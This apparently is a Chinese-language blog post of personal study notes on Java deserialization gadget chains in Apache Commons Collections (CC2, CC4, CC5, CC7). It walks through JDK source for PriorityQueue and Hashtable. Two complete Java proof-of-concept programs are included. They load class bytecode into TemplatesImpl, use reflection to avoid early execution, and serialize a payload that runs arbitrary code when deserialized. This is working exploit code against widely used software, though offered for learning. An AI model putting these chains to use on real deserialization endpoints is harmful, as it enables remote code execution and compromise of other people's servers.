cc4
cc4,cc更新了一个大版本,这个版本里面有漏洞中间修复了,但是我们还是从transform入手去找

我们选择这个,因为这个可以序列化(),cc3没有这个接口,这也太搞了compare也很常用,接着继续找,而且最好是在ReadObject,最后是在PriorityQueue里找见
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
继续走heapify()到了siftDown,再到siftDownComparable
private void siftDownComparable(int k, E x) {
Comparable<? super E> key = (Comparable<? super E>)x;
int half = size >>> 1; // loop while a non-leaf
while (k < half) {
int child = (k << 1) + 1; // assume left child is least
Object c = queue[child];
int right = child + 1;
if (right < size &&
((Comparable<? super E>) c).compareTo((E) queue[right]) > 0)
c = queue[child = right];
if (key.compareTo((E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = key;
}
可以看到有compare了
然后照猫画虎,前面一样,后面用TransformingComparator
ChainedTransformer chainedTransformer = new ChainedTransformer(trs);
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
可以看到PriorityQueue是可以直接传comparator

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
但是这里序列化反序列化后无事发生

可以看到是这里,我们必须让size至少是2才能继续进去,但现在size是0,于是我们改一下,这里如果直接add的话不可以,因为进去看一下会发现add后面也用了compare然后直接没有序列化就本地调了transform。_tfactory还是ReadObject才会添上,因此没写这个的话还会报错
或者反射改
Class p = PriorityQueue.class;
Field size = p.getDeclaredField("size");
size.setAccessible(true);
size.set(priorityQueue,2);
所以我们先传一个没用的值再在后面改了
可以看到它这里就是transformer

Class c =transformingComparator.getClass();
Field declaredFieldtransformer = c.getDeclaredField("transformer");
declaredFieldtransformer.setAccessible(true);
declaredFieldtransformer.set(transformingComparator,chainedTransformer);
这下就成功执行
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.map.TransformedMap;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException, TransformerConfigurationException {
TemplatesImpl templates = new TemplatesImpl();
Class tc =templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"lll");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[]code1= Files.readAllBytes(Paths.get("C:\\Users\\16256\\IdeaProjects\\cc1\\target\\classes\\org\\example\\Test.class"));
byte[][]code2={code1};
bytecodesField.set(templates,code2);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] trs=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(trs);
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class c =transformingComparator.getClass();
Field declaredFieldtransformer = c.getDeclaredField("transformer");
declaredFieldtransformer.setAccessible(true);
declaredFieldtransformer.set(transformingComparator,chainedTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException, IOException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
cc2
templates.newTransformer();可以直接,我们就用InvokerTransformer调而不是像cc4一样实例化
InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
然后我们还是要找个地方将templates放进去且保证add不能提前本地调用
priorityQueue.add(templates);
priorityQueue.add(2);
Class c =transformingComparator.getClass();
Field declaredFieldtransformer = c.getDeclaredField("transformer");
declaredFieldtransformer.setAccessible(true);
declaredFieldtransformer.set(transformingComparator,invokerTransformer);
这里注意要第一个传templates而不能第二个传
PriorityQueue是优先队列,添加元素时会自动触发「堆排序」,新元素(第二个)会和已有的第一个元素比较;如果把
templates放第二个,添加时会立刻触发Comparator.compare()→ 调用还未赋值的transformer(大概率是 null),直接抛异常;把
templates放第一个,添加时无其他元素可比较,不会触发compare(),等你反射改完transformer后,后续反序列化 / 排序时才会触发恶意逻辑。
如图

package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.TransformedMap;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException, TransformerConfigurationException {
TemplatesImpl templates = new TemplatesImpl();
Class tc =templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"lll");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[]code1= Files.readAllBytes(Paths.get("C:\\Users\\16256\\IdeaProjects\\cc1\\target\\classes\\org\\example\\Test.class"));
byte[][]code2={code1};
bytecodesField.set(templates,code2);
InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);
Class c =transformingComparator.getClass();
Field declaredFieldtransformer = c.getDeclaredField("transformer");
declaredFieldtransformer.setAccessible(true);
declaredFieldtransformer.set(transformingComparator,invokerTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException, IOException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
也可以用toString也是防止提前执行,那反射把toString改成了transformer
这条链的特点是没有用到 Transformer[]数组
cc5
cc5是改了一下入口的方法:将HashMap.ReadObjet->TiedMapEntry.hashcode改成BadAttributeValueExpException.ReadObject->TiedMapEntry.toString

getValue()里有map.get
cc7
cc7也是改了入口,改成了Hashtable.readObject最后调用了reconstitutionPut而这个
readObject → reconstitutionPut → 键对象的 hashCode/equals (lazymap的equal)→ AbstractMapDecorator.equals → AbstractMap.equals。
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
e为我们能传的键值对,可以看到它调了e.key.equals(key),所以我们现在再去找哪里的equals有问题(get/hashcode)
public boolean equals(final Object object) {
if (object == this) {
return true;
}
return decorated().equals(object);
}
AbstractMapDecorator.equals 是装饰器的 “转发逻辑”,会把调用传给内部包装的真实 Map;而AbstractMapDecorator 内部包装的 Map 通常是 LazyMap(而 LazyMap 继承自 AbstractMap)。当调用 decorated().equals(object) 时,本质上调用的是 LazyMap 的 equals 方法 —— 但 LazyMap 自己并没有重写 equals 方法,所以会向上继承使用父类 AbstractMap 的 equals 方法。
而AbstractMap 的 equals
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;
try {
// 核心:遍历 entry 并调用 get() 方法
for (Entry<K,V> e : entrySet()) {
K key = e.getKey();
V value = e.getValue();
if (value == null) {
// 这里调用了 get() 方法!
if (!(m.get(key) == null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
最后就可以调到get了,而且不只可以是LazyMap的get